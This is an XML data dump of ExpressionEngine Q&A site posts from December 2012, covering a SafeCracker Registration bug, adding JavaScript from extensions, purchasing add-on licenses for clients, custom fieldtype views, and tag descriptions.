  <row Id="1689" PostTypeId="1" AcceptedAnswerId="1694" CreationDate="2012-12-16T09:57:00.790" Score="2" ViewCount="55" Body="&lt;p&gt;I'm using SafeCracker Registration. Right now, I have a form with 4 fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;li&gt;email&lt;/li&gt;&#xA;&lt;li&gt;password&lt;/li&gt;&#xA;&lt;li&gt;password_confirm&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When the form displays, I click submit without entering any data in the form. I get this on the next page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The following errors were encountered&#xA;&#xA;You have just been sent an email containing membership activation instructions.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No email is received. No member is registered. My opening tag is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;profiles&quot; class=&quot;form-horizontal&quot; datepicker=&quot;no&quot; error_handling=&quot;inline&quot; include_jquery=&quot;no&quot; register_member=&quot;yes&quot; return=&quot;registration/form&quot; safecracker_head=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: &quot;profiles&quot; is a valid Channel. It contains a number of fields, but I haven't started trying to populate them.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="101" LastEditDate="2012-12-16T13:46:19.923" LastActivityDate="2012-12-16T13:46:19.923" Title="SafeCracker Registration - unknown error" Tags="|members|safecracker|safecracker-registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1690" PostTypeId="2" ParentId="1413" CreationDate="2012-12-16T10:06:57.863" Score="0" Body="&lt;p&gt;About a year ago i made a proof of concept to integrate DataMapper ORM into ExpressionEngine.&lt;br&gt;&#xA;DataMapper is a database abstraction library for CodeIgniter, that does exactly that, replace the load_class function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turned out that the version of CodeIgniter that ships with ExpressionEngine,&#xA;does not do the check &lt;code&gt;if function_exist()&lt;/code&gt; before loading most or any of the core functions. It took only a very small modification to the core to be able to override the load_class function. It boils down to wrapping the load_class function in a if not function_exists conditional.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# 1. file: /system/codeigniter/system/core/Common.php&#xA;if ( ! function_exists('load_class'))&#xA;{&#xA;    function &amp;amp;load_class($class, $directory = 'libraries', $prefix = 'CI_')&#xA;    {&#xA;    ...&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows us to load our own bootstrap first from the main index.php file, just before the core system bootstrap would have been loaded.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# 2. file: /index.php at the, just before loading the bootstrap file&#xA;require_once APPPATH.'third_party/datamapper/bootstrap.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTES&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;the code can be found on &lt;a href=&quot;https://github.com/GDmac/EE_DataMapper/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/GDmac/EE_DataMapper/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The naming can be a bit confusing.&lt;br&gt;&#xA;  &lt;strong&gt;A)&lt;/strong&gt;. The CodeIgniter ActiveRecord class actually is a QueryBuilder, &#xA;  and in CodeIgniter 3 it correctly has been renamed to QueryBuilder.&lt;br&gt;&#xA;  &lt;strong&gt;B)&lt;/strong&gt;. Datamapper ORM ( &lt;a href=&quot;http://datamapper.wanwizard.eu&quot; rel=&quot;nofollow&quot;&gt;http://datamapper.wanwizard.eu&lt;/a&gt; ) actually&lt;br&gt;&#xA;  follows the ActiveRecord design pattern.&lt;br&gt;&#xA;  &lt;strong&gt;C)&lt;/strong&gt;. DataMapping is another design pattern, which abstracts the &#xA;  database away from the rest of the code&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;general tip: Avoid hacking core with lots of your own code intermingled &#xA;  in the core. Instead just add/insert an extra hook in the core and put &#xA;  our actual code into an extension.&lt;br&gt;&#xA;  This goes even for third-party add-ons.&lt;br&gt;&#xA;  See: &lt;a href=&quot;http://madebyhippo.com/blog/view/expressionengine_hook_dont_hack&quot; rel=&quot;nofollow&quot;&gt;http://madebyhippo.com/blog/view/expressionengine_hook_dont_hack&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="155" LastActivityDate="2012-12-16T10:06:57.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1691" PostTypeId="2" ParentId="1688" CreationDate="2012-12-16T10:27:43.687" Score="1" Body="&lt;p&gt;Are you considering ExpressionEngine's parse Order?&lt;br&gt;&#xA;This is a quick quick summary:&lt;br&gt;&#xA;&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;http://loweblog.com/downloads/ee-parse-order.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[...]&lt;br&gt;&#xA;3. Parse simple conditionals: segment, embed, global variables&lt;br&gt;&#xA;[...]&lt;br&gt;&#xA;5. Parse module and plugin tags&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try Pre Embed (free plugin)&lt;br&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/pre-embed&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/pre-embed&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="310" LastActivityDate="2012-12-16T10:27:43.687" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1692" PostTypeId="1" CreationDate="2012-12-16T11:22:26.637" Score="4" ViewCount="1179" Body="&lt;p&gt;I have been struggling with this for a while now and am stuck I am writing an extension for ExpressionEngine 2 (not a module) and need to add a script tag to the header of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$script = &quot;&amp;lt;script type='text/javascript'&amp;gt;alert('added');&amp;lt;/script&amp;gt;&quot;;&#xA;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_to_head($script);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but im guessing this only works when its a module, i have also tried (which i am pretty sure should work):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;load_package_js('file');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but i get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call to a member function plugin() on a non-object in expressionengine/libraries/Cp.php on line 766&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried using the hook &lt;code&gt;cp_js_end&lt;/code&gt; which loads the file but its loaded after everything else thus it does not work as intended. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After playign around with this it looks as if you can only use &lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;load_package_js('file');&lt;/code&gt; for modules and not extensions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will close this issue &lt;/p&gt;&#xA;" OwnerUserId="619" LastEditorUserId="619" LastEditDate="2012-12-16T19:40:25.803" LastActivityDate="2012-12-16T19:44:42.760" Title="ExpressionEngine add javascript to CP head" Tags="|control-panel|javascript|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1693" PostTypeId="2" ParentId="1692" CreationDate="2012-12-16T13:42:27.180" Score="7" Body="&lt;p&gt;Loading assets within an add-on can be tricky if you don't know how to do it properly. For instance, your code is likely failing because it's relying the CP (control panel) to serve the assets. So, if the CP class is not instantiated, your code will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you take a look at Theme Loader, my open source library I use for all my add-ons. It works very well, and it will automatically make your script with RequireJS too (an added bonus of using the Theme Loader abstraction). The best part about Theme Loader, is it makes it also compatible with the Master Config boostrap, and supports changing the default place to store the add-ons. For instance, if you move your stuff above webroot, Theme Loader automatically takes care of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/objectivehtml/Theme-Loader&quot; rel=&quot;nofollow&quot;&gt;https://github.com/objectivehtml/Theme-Loader&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure your add-on has a directory inside of &quot;themes/third_party&quot;. Without this, your assets will fail to be served properly.&lt;/li&gt;&#xA;&lt;li&gt;Make sure your add-on asset directly structure is correct, which should be at a minimum:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;themes/third_party/your_addon&lt;/li&gt;&#xA;&lt;li&gt;themes/third_party/your_addon/css&lt;/li&gt;&#xA;&lt;li&gt;themes/third_party/your_addon/javascript&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(Obviously if you don't need JS, don't include that directory. But this is the default structure Theme Loaders expects, so follow it and you will be good.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('theme_loader');&#xA;$this-&amp;gt;EE-&amp;gt;theme_loader-&amp;gt;module_name = 'your_module'; // Note, your addon doesn't have to be a real &quot;module&quot;.&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;theme_loader-&amp;gt;css('styles');&#xA;$this-&amp;gt;EE-&amp;gt;theme_loader-&amp;gt;js('app');&#xA;$this-&amp;gt;EE-&amp;gt;theme_loader-&amp;gt;output('alert(&quot;do something&quot;);');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-16T16:51:38.523" LastActivityDate="2012-12-16T16:51:38.523" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1694" PostTypeId="2" ParentId="1689" CreationDate="2012-12-16T13:45:49.457" Score="2" Body="&lt;p&gt;This is a bug. Safecracker Registration v1.2 is finished and waiting for a release. I just haven't had time to document the changes, and update the documentation, but it makes a lot of usability improvements like the one you mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email support[at]objectivehtml.com and I will be happy to get your setup with the latest version.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-16T13:45:49.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1695" PostTypeId="5" CreationDate="2012-12-16T13:47:22.327" Score="0" Body="&lt;p&gt;Use the native Safecracker module and syntax you already know and love to create the best registration forms with your favorite fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;http://objectivehtml.com/safecracker-registration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-16T17:43:21.567" LastActivityDate="2012-12-16T17:43:21.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1696" PostTypeId="4" CreationDate="2012-12-16T13:47:22.327" Score="0" Body="Safecracker Registration is a commercial add-on from Objective HTML." OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-16T17:43:10.380" LastActivityDate="2012-12-16T17:43:10.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1697" PostTypeId="5" CreationDate="2012-12-16T14:33:42.093" Score="0" Body="&lt;p&gt;A popular ecommerce module for ExpressionEngine. Documentation, feature lists and official support can be found at their website: &lt;a href=&quot;http://cartthrob.com/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2012-12-16T17:43:05.747" LastActivityDate="2012-12-16T17:43:05.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1698" PostTypeId="4" CreationDate="2012-12-16T14:33:42.093" Score="0" Body="A popular ecommerce module for ExpressionEngine. http://cartthrob.com/" OwnerUserId="15" LastEditorUserId="2641" LastEditDate="2014-01-21T17:29:08.330" LastActivityDate="2014-01-21T17:29:08.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1699" PostTypeId="2" ParentId="1539" CreationDate="2012-12-16T16:12:34.247" Score="0" Body="&lt;p&gt;Links to content by title can be automatically introduced using the &lt;a href=&quot;http://devot-ee.com/add-ons/crosslinking&quot; rel=&quot;nofollow&quot;&gt;Crosslinking&lt;/a&gt; add-on. This add-on also avoids adding the same link multiple times to avoid &quot;black SEO&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cross linking can be disabled for specific parts of content by encapsulating it within &lt;code&gt;{no_crosslink}{/no_crosslink}&lt;/code&gt; tags.&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-16T16:12:34.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1700" PostTypeId="1" AcceptedAnswerId="1702" CreationDate="2012-12-16T16:33:12.743" Score="3" ViewCount="373" Body="&lt;p&gt;Is it acceptable for me to purchase ExpressionEngine and the required add-on licenses on behalf of my clients?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some of my clients the process of getting them to purchase the right add-ons would certainly be a tedious process.&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-16T17:10:28.120" Title="Purchasing ExpressionEngine and add-on licenses for a client?" Tags="|license|licensing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1701" PostTypeId="2" ParentId="1700" CreationDate="2012-12-16T16:50:07.090" Score="7" Body="&lt;p&gt;That's exactly what I do. Generally the clients I have services don't even know what an add-on is, and they genuinely don't care. They just want their website to work. There are obvious drawbacks to this, like when a client leaves, or finds a new developer. Then the new developer can't download the updates since the client doesn't have the license. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Devotee allows people to transfer ownership of licenses, so I know a lot of people buy them initially and transfer once the project is finished. But this required everyone to use Devotee vs. developer sites directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my mind, there is no perfect solution. Either the client is burdened with additional time and effort to purchase the license. Or the next developer to come along has to deal with the problem. Personally, I will be the problem on the dev over the client everyday of the week.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-16T16:50:07.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1702" PostTypeId="2" ParentId="1700" CreationDate="2012-12-16T17:10:28.120" Score="10" Body="&lt;p&gt;I purchase EE and addon licenses for my clients unless they prefer to make the purchases for some reason. I keep them all in my company EllisLab and Devot-ee accounts until a client requests a transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep them in company account for ease of use because I normally maintain the site after it's launched.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://devot-ee.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Devot-ee&lt;/a&gt;&lt;/strong&gt; makes the addon license transfer process extremely easy. In the right column of the landing My Account page there is a &quot;Transfer a license to another member&quot; link. Click that link and you are presented with an easy interface for making the transfer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hj1Vl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://ellislab.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;EllisLab&lt;/a&gt;&lt;/strong&gt; also allows for the transfer of ExpressionEngine licenses. First, have your customer register an account, then email sales (sales@ellislab.com) with the transfer request. Make sure to include the license number that should be transferred and your client’s ExpressionEngine.com username. Transfer can take a couple days and you'll get an email when it's complete.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-16T17:10:28.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1703" PostTypeId="2" ParentId="1519" CreationDate="2012-12-16T17:25:49.923" Score="1" Body="&lt;p&gt;This &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/214903/&quot; rel=&quot;nofollow&quot;&gt;EE forum post&lt;/a&gt;&lt;/strong&gt; may detail the solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you saving templates as files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there was a template in the site template folder called ‘forums’ or whatever you are using for your forum template name? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is, you should get your errors back if you remove or rename that template. It's hijacking the errors apparently.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-16T17:25:49.923" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1704" PostTypeId="2" ParentId="1667" CreationDate="2012-12-16T17:41:56.187" Score="0" Body="&lt;p&gt;The first step to troubleshooting this would be to disable Extensions by adding this to your config.php file or by changing the config to &quot;n&quot; if it already exists in config.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['allow_extensions'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will eliminate code in one of the extensions as part of the problem.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If this fixes your links, you'll know one of the Extensions is the problem. Unfortunately, you'll need to uninstall each Extension one at a time to figure out which one is the problem. Uninstalling the Extension will cause you to lose the settings for that Extensions so you'll need to re-setup settings when you install it again. This is a pain but there is no way around it. &lt;strong&gt;&lt;em&gt;Make a backup of your database before starting this process so you can revert back if needed.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the issue might be caused by the Extension's priority for the extension hook it's using (1 =&gt; First, 10 =&gt; Last.). You can make changes to the priority by manually editing the &quot;priority&quot; column in the &quot;exp_extensions&quot; table in the database. Looks at Extensions that will affect the Edit tab if that's where the problem URLs are visible.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-16T17:41:56.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1705" PostTypeId="5" CreationDate="2012-12-16T18:03:01.803" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-16T18:03:01.803" LastActivityDate="2012-12-16T18:03:01.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1706" PostTypeId="4" CreationDate="2012-12-16T18:03:01.803" Score="0" Body="Live look allows you to preview a post within an ExpressionEngine template. " OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-17T03:08:58.470" LastActivityDate="2012-12-17T03:08:58.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1707" PostTypeId="5" CreationDate="2012-12-16T18:03:52.393" Score="0" Body="&lt;p&gt;Questions regarding the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/forum/index.html&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Forum module&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-20T18:24:13.127" LastActivityDate="2012-12-20T18:24:13.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1708" PostTypeId="4" CreationDate="2012-12-16T18:03:52.393" Score="0" Body="Questions regarding the ExpressionEngine Forum module." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-17T03:09:19.687" LastActivityDate="2012-12-17T03:09:19.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1709" PostTypeId="5" CreationDate="2012-12-16T18:05:34.013" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-16T18:05:34.013" LastActivityDate="2012-12-16T18:05:34.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1710" PostTypeId="4" CreationDate="2012-12-16T18:05:34.013" Score="0" Body="Addons extend ExpressionEngine's functionality and include Modules, Extensions &amp; Plugins." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-17T03:09:16.957" LastActivityDate="2012-12-17T03:09:16.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1711" PostTypeId="5" CreationDate="2012-12-16T18:06:51.797" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-16T18:06:51.797" LastActivityDate="2012-12-16T18:06:51.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1712" PostTypeId="4" CreationDate="2012-12-16T18:06:51.797" Score="0" Body="The ExpressionEngine Control Panel is the central location for configuring your EE install, adding/editing entries and managing templates." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-17T03:09:14.037" LastActivityDate="2012-12-17T03:09:14.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1713" PostTypeId="5" CreationDate="2012-12-16T18:12:18.580" Score="0" Body="&lt;p&gt;For questions that use logic to display or hide parts of a page/template. This can involve native conditionals or other addons that extend conditional functionality.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2012-12-17T03:09:09.967" LastActivityDate="2012-12-17T03:09:09.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1714" PostTypeId="4" CreationDate="2012-12-16T18:12:18.580" Score="0" Body="For questions that use logic to display or hide parts of a page/template" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2012-12-17T03:09:23.680" LastActivityDate="2012-12-17T03:09:23.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1715" PostTypeId="5" CreationDate="2012-12-16T18:13:58.737" Score="0" Body="&lt;p&gt;About migrating content to/from ExpressionEngine. Can also refer to migrating content across addons that provide similar functionality.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2012-12-17T03:09:05.147" LastActivityDate="2012-12-17T03:09:05.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1716" PostTypeId="4" CreationDate="2012-12-16T18:13:58.737" Score="0" Body="About migrating content to/from ExpressionEngine." OwnerUserId="15" LastEditorUserId="15" LastEditDate="2012-12-17T03:09:01.573" LastActivityDate="2012-12-17T03:09:01.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1717" PostTypeId="1" AcceptedAnswerId="1721" CreationDate="2012-12-16T19:34:17.480" Score="3" ViewCount="122" Body="&lt;p&gt;I am implementing a custom field type which has quite a complex &lt;code&gt;display_field&lt;/code&gt; function. I would like to separate the view logic and at the moment I have done the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_field($data) {&#xA;    ob_start();&#xA;    include('view/designer.php');&#xA;    $html = ob_get_contents();&#xA;    ob_end_clean();&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above works, but given that ExpressionEngine is built on CodeIgnitor which has a solid MVC architecture, what is the proper way to display a view?&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-16T20:34:32.517" Title="How to separate view from `display_field` of a custom field type?" Tags="|custom-fields|add-on-development|codeigniter|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1718" PostTypeId="2" ParentId="1692" CreationDate="2012-12-16T19:44:42.760" Score="2" Body="&lt;p&gt;Turns out that you cant load javascript in an extension as you would a module. The above worked fine in a module but errors are produced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After speaking with a colleague it may be possible to do this with an Accessory hack.&lt;/p&gt;&#xA;" OwnerUserId="619" LastActivityDate="2012-12-16T19:44:42.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1719" PostTypeId="1" CreationDate="2012-12-16T20:04:31.590" Score="3" ViewCount="60" Body="&lt;p&gt;I'm new to this forum so hoping you can assist me with something that I've completely hit a dead end with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically need to specify a confirmation page dependent on Group ID selected within a registration form (using the user module).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a link to the thread I have already posted with the module developer but what they have recommended hasnt worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/forums/viewthread/14730/#57817&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/14730/#57817&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would've thought something like this would be relatively simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be gratefully appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Scott&lt;/p&gt;&#xA;" OwnerUserId="622" LastEditorUserId="28" LastEditDate="2012-12-16T22:07:04.733" LastActivityDate="2012-12-16T22:07:04.733" Title="How to redirect specifically dependent on Group ID selected" Tags="|add-on|forms|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1720" PostTypeId="1" AcceptedAnswerId="1724" CreationDate="2012-12-16T20:33:59.083" Score="2" ViewCount="314" Body="&lt;p&gt;In EE the &quot;URL Title&quot; field is automatically built based on what you enter in the &quot;Title&quot; field. Is it possible — with an extension or otherwise — to build the URL Title from a different, or better yet multiple fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I have three fields on my publishing page: First Name, Middle Name / Initial, and Last name. I'd like the URL Title to be &lt;code&gt;firstname-middleinitial-lastname&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this possible?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2012-12-16T21:14:45.613" Title="Is it possible to build the URL Title of an entry from a different field than Title?" Tags="|url|dynamic|title|url-title|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1721" PostTypeId="2" ParentId="1717" CreationDate="2012-12-16T20:34:32.517" Score="6" Body="&lt;p&gt;Yeah, that's the wrong way to go about it. You want to use the load class and use the view() method. You can even pass variables to the view that can be used programmatically.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display_field($data)&#xA;{&#xA;    $vars = array(&#xA;        'data'     =&amp;gt; $data,&#xA;        'some_var' =&amp;gt; 'some value',&#xA;        'some_array' =&amp;gt; array(&#xA;            '1',&#xA;            '2',&#xA;            '3'&#xA;        ),&#xA;        'some_func' =&amp;gt; some_func()&#xA;    );&#xA;&#xA;    return $this-&amp;gt;EE-&amp;gt;load-&amp;gt;view('designer', $vars, TRUE);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference&#xA;&lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/libraries/loader.html&quot;&gt;http://ellislab.com/codeigniter/user-guide/libraries/loader.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-16T20:34:32.517" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1722" PostTypeId="2" ParentId="1720" CreationDate="2012-12-16T20:44:40.750" Score="4" Body="&lt;p&gt;You can most definitely do this. Just use the channel entries API hooks. You can use a conditional to test to make sure your logic performs only for new records vs. edit. It would actually be relatively easy to do. The most time consuming part would be adding a settings pane so you could use a UI to building the URL titles on a per channel basis (for example). Alternatively, use config files to avoid writing all the UI logic. I would likely opt for the config route if I wasn't going to sell such add-on commercially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically once the hook triggers, perform any conditionals required. If the conditionals pass run a simply database query to update the fields using the settings array generated from a UI or config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-16T20:44:40.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
